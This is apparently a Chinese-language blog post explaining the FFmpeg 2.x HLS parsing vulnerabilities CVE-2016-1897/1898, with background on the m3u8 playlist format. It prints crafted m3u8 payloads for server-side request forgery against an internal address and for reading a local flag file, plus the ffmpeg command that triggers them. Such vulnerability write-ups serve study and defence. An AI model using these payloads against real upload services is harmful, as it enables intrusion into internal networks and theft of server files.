FFMpeg 任意文件读取漏洞 / SSRF 漏洞 CVE-2016-1897/CVE-2016-1898

发布于 2024-05-22 12:54:27 字数 2472 浏览 21 评论 0

在 FFMpeg2.X 由于在解析 HTTP Live Streaming 流媒体 m3u8 文件处理不当,可导致 SSRF 漏洞与任意文件读取漏洞。当网站允许用户上传多媒体文件,并使用 FFMpeg 进行处理时会触发该漏洞。

这个漏洞有两个 CVE 编号,分别是 CVE-2016-1897 和 CVE-2016-1898,它们两个的区别在于读取文件的行数,CVE-2016-1897 只能读取文件的第一行,而 CVE-2016-1898 可以读取文件任意行,原理基本一样,这里就一起分析了。

HLS(HTTP Live Streaming)

由于漏洞是出现在解析 HLS 流媒体文件出的问题,所以我们必须先了解 HLS。

HLS(HTTP Live Streaming)是 Apple 公司开发的一种基于 HTTP 协议的流媒体通信协议,大多数都应用在 PC 上和 iphone 上。它的基本原理是把一个视频流分成很多个很小很小很小的 ts 流文件,然后通过 HTTP 下载,每次下载一点点。在一个开始一个新的流媒体会话时,客户端都会先下载一个 m3u8(播放列表 Playlist)文件,里面包含了这次 HLS 会话的所有数据。

http://pl.youku.com/playlist/m3u8?vid=340270152&type=3gphd&ts=1462714824&keyframe=0&ep=dSaSGE6MUssC5ybeiz8bYiXiIiZdXP0O9h2CgdNnAtQnS%2Bm2&sid=746271452251312590fab&token=3319&ctype=12&ev=1&oip=3395898128   

这是 youku 一个视频的 m3u8 文件,内容如下:

#EXTM3U
#EXT-X-TARGETDURATION:6
#EXT-X-VERSION:2
#EXTINF:6, http://183.60.145.83/69777D60D183E7FE8D0BC25A4/030002010056208D059E4E15049976CD642E01-C8E5-706F-DC6D-375DE0DA5A1E.flv.ts?ts_start=0&ts_end=5.9&ts_seg_no=0&ts_keyframe=1
#EXTINF:0, http://183.60.145.83/69777D60D183E7FE8D0BC25A4/030002010056208D059E4E15049976CD642E01-C8E5-706F-DC6D-375DE0DA5A1E.flv.ts?ts_start=5.9&ts_end=6.367&ts_seg_no=1&ts_keyframe=1
#EXT-X-ENDLIST

解析:

  • #EXTM3U 标签是 m3u8 的文件头,开头必须要这一行
  • #EXT-X-TARGETDURATION 表示整个媒体的长度,这里是 6 秒
  • #EXT-X-VERSION:2 该标签可有可无
  • #EXTINF:6, 表示该一段 TS 流文件的长度
  • #EXT-X-ENDLIST 这个相当于文件结束符

这些是 m3u8 的最基本的标签,而问题就出在 FFMpeg 去请求 TS 流文件的时,由于我们可以伪造一个 m3u8 文件,FFMpeg 不会判断里面的流地址,直接请求。

漏洞原理

SSRF 漏洞: 直接用 FFMpeg 解析一个多媒体文件

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0, http://192.168.123.100:8080/1.html
#EXT-X-ENDLIST

#EXT-X-MEDIA-SEQUENCE 或 #EXT-X-TARGETDURATION 必须存在任意一个,前者是定义 ts 流文件的序号。去掉会报错:无效文件

ffmpeg -i test.m3u8 test.mp4 (也可把 m3u8 格式改成其他后缀,ffmpeg 会自动识别为 HLS 流文件)

以下几个方式可以读取文件:

#EXTM3U
#EXT-X-TARGETDURATION:1
#EXTINF:1,
/home/ctf/flag.txt
#EXT-X-ENDLIST

#EXTM3U
#EXT-X-PLAYLIST-TYPE:VOD
#EXT-X-TARGETDURATION:1
#EXT-X-VERSION:3
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
file:///home/ctf/flag.txt
#EXT-X-ENDLIST

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

澜川若宁

暂无简介

0 文章
0 评论
22 人气
更多

推荐作者

玍銹的英雄夢

文章 0 评论 0

我不会写诗

文章 0 评论 0

十六岁半

文章 0 评论 0

浸婚纱

文章 0 评论 0

qq_kJ6XkX

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文